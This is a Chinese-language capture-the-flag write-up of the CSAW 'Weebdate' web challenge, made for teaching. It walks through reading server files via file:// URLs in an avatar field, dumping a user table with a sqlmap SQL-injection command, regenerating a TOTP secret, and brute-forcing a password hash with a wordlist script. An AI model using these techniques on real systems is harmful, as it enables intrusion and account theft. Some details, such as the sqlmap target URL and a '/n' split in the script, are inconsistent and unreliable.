Web 500应用被称为"Weebdate",是一个被称为“superior security in the wake of the Ashley Madison hack”的模拟数据站点,该应用采用Time-based One-time Password (TOTP)[基于时间的一次性密码]算法,作为所有账户身份验证的第二个因素,简单点说也就是意味着用户登录需要提供用户名,密码,以及TOTP算法获取的值。该题的目标是绕过TOTP验证码以及唐纳德·特朗普(美国地产大亨)的Weebdate账户密码。
我们注册一个账户之后,找到“编辑个人资料”页面
http://54.210.118.179/profile/edit
个人资料编辑页面运行用户编辑个性签名以及头像,个性签名这个功能中没啥特别有趣的东西,接着我们将目光移向了头像编辑上。
如上图所示,个人头像区域支持URL。经过测试,我们确定了头像区域的URL会经过Python 的 urllib.urlopen函数进行处理,检测这个文件确实是一张图片,并将头像区域的URL设置为已经检测过的图像文件地址。填写一个有效的图片地址所返回的HTML响应:
这个函数最有趣的地方是在检索到的文件不是一张图片,如下图所示:
我们将包含"Hello there!"句子的文件放入个人Web服务器上,然后将文件URL传递给应用程序。这样就有了上面大家看到的响应,这表明当检索到的文件不是一张图片时,文件的内容将会反映到html响应中。
这样看起来好像我们与目标进了一步,Python的 urllib.urlopen函数支持 "file" scheme 。我们尝试从搭载应用程序的服务器上检索/etc/hosts文件,从应用程序的头中披露的信息表明其服务器使用的是Ubuntu系统。
我们将下面的URL地址作为头像地址传递给应用程序
file://localhost/etc/hosts
下面截图显示了部分HTML响应结果
Great success!果真,将file:// URLs传递到个人头像编辑函数,允许我们从服务器上读取文件。我们再来看看应用程序的头文件,我们确定了应用程序运行了Apache。
由于服务器运行Apache,我们进而想到了抓取Apache站点配置文件。幸运女神十分眷顾我们,应用程序运行的是低于"000-default.conf"配置的标准
我们将下面的地址传递给个人头像URL中:
file://localhost/etc/apache2/sites-enabled/000-default.conf
服务器爆出了Apache站点配置文件内容,在配置文件中有一个引用传递给下面路径:
/var/www/application.wsgi
我们检索这个文件的内容,如下所示:
该文件包含了将/var/www/weeb首次添加到内部$PATH list的Python代码,然后从名为"server"的模块调用名为"app"的变量。这表明server模块有可能就存在于/var/www/weeb,如果真是这样那么很有可能就有一个名为server.py的文件。接着通过下面URL尝试检索文件:
file://localhost/var/www/weeb/server.py
ok,我们终于能够一睹搭建Weebdate网站的源代码,server.py文件的开头如下:
from flask import Flask, render_template, request, Response, redirect from flask.ext.mysqldb import MySQL from functools import wrapsimport os, pwd, grp, random, struct, time, pyotp, urllib2, urlparse, imghdr, sy import util sys.path.insert(0, '/home/csaw/development/weeb') import logging, sy logging.basicConfig(stream=sys.stderr) app = Flask(__name__) app.config.from_object('settings') mysql = MySQL() mysql.init_app(app) utils.mysql = mysql
如上所示server.py文件调用"utils",另一个传递给/var/www/weeb/utils.py文件的请求返回了更多有关服务器的代码,开头如下所示:
# I apologize to any future developers and anyone else who may have to read this code # :( import time, struct, random, socket, hashlib, pyotp, hmac def FetchOneAssoc(cursor): data = cursor.fetchone() if data == None: return None desc = cursor.description res = {} for (name, value) in zip(desc, data): res[name[0]] = value return res
此外,我们还需要获取唐纳德·特朗普的TOTP密钥,以及账户密码。再次回顾代码,我们从负责生成TOTP密钥的utils.py 和server.py中发现了以下函数:
@app.route('/register', methods=['GET', 'POST']) def show_registration(): user = utils.get_user_from_cookie(request) page_name = "register" if request.method.lower() == "get": page_content = render_template('register.html') return render_page(page_content, 'register', user=user) if request.method.lower() == "post": username = request.form.get('username') or '' password = request.form.get('password') or '' if not username or not password : page_content = render_template('register.html', message="Missing field") return render_page(page_content, page_name) if utils.check_username(username): page_content = render_template('register.html', message="That username is taken!") return render_page(page_content, page_name) seed = utils.generate_seed(username, request.remote_addr) totp_key = utils.get_totp_key(seed) utils.register_user(username, password, request.remote_addr) qr_url = "http://api.qrserver.com/v1/create-qr-code/?data=otpauth://totp/%s?secret=%s&size=220x220&margin=0"%(username, totp_key) page_content = render_template( 'register.html', message='Success! <a href="/login">login here</a><br />TOTP Key: %s<br /><img src="%s" />' % (totp_key, qr_url) ) return render_page(page_content, page_name) def generate_seed(username, ip_address): return int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0] def get_totp_key(seed): random.seed(seed) return pyotp.random_base32(16, random)
下面的函数负责在应用程序数据库创建用户记录:
def register_user(username, password, ip_address): password = hashlib.sha256(username+password).hexdigest() cursor = mysql.connection.cursor() cursor.execute( 'insert into users (user_name, user_password, user_ip) VALUES (%s, %s, %s)', (username, password, ip_address) ) mysql.connection.commit()
纵观上面的种种,显然我们需要获取唐纳德·特朗普注册时的IP地址来生成它的TOTP密钥,并把他的密码存储在应用程序的数据库中,我们只有想另外的方法搞定数据库了….
从server.py中获取到下面代码:
@app.route('/csp/view/') def csp_view(report_id): return Response(repr(utils.get_csp_report(report_id)), mimetype='text/json')
从utils.py文件中我们发现utils.get_csp_report函数:
def get_csp_report(report_id): cursor = mysql.connection.cursor() cursor.execute( 'select * from reports where report_id = %s'% (report_id,) ) return FetchOneAssoc(cursor)
将两者联系起来,很明显/csp/view/<repord_id>端点存在SQL注入。
使用sqlmap从weeb数据库列出user表中的内容,通过下面命令:
sqlmap -u "http://54.210.118.179/profile/edit" --dump -D weeb -T users
果然,唐纳德·特朗普的账号在表中就排第一。
现在我们就需要生成TOTP密钥了,并破解其密码hash
就像之前我们说到的,生成TOTP密钥需要用户名以及注册IP地址。
因为我们已经获得生成TOTP密钥的两类信息,接下来我就基于从server.py和utils.py文件发现的代码,写了一个Python脚本来生成TOTP密钥。
import struct import socket import pyotp import random ip_address = "64.124.192.210" username = "donaldtrump" seed = int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0] random.seed(seed) print(pyotp.random_base32(16, random))
运行脚本后的结果如下:
此处应该可以有掌声和尖叫声,现在只剩下破解密码hash
从上面的register_user函数中我们可以看到使用账户和密码生成的密码hash存储在应用程序数据库
password = hashlib.sha256(username+password).hexdigest()
现有的彩虹表,对我们现在这种情况帮助不大。我使用最常见的10k密码字典来爆破唐纳德·特朗普的密码hash
import hashlib file_path = "/Users/lavalamp/Documents/Hacking Lists/Passwords/10k most common.txt" to_match = "22e59a7a2792b25684a43d5f5229b2b5caf7abf8fa9f186249f35cae53387fa3" username = "donaldtrump" with open(file_path, "r") as f: contents = f.read() c_split = [x.strip() for x in contents.split("/n")] for line in c_split: result = hashlib.sha256(username + line).hexdigest() if result == to_match: print("Found his password: %s!" % (line,))
脚本运行结果:
尖叫吧!
在CSAW比赛官网中对flag的描述如下:
md5($TOTPsecret.$zebra)
这是一个PHP代码片段,将本地PHP脚本进行整理,然后执行:
<?php echo md5("6OIMTPLHSQ6JUKYPzebra"); ?>
代码运行结果如下:
ok,这是一个有效的flag值。我们团队成功获得500分,瞬间提高了我们的排名。
最后希望你能够喜欢这篇Writeup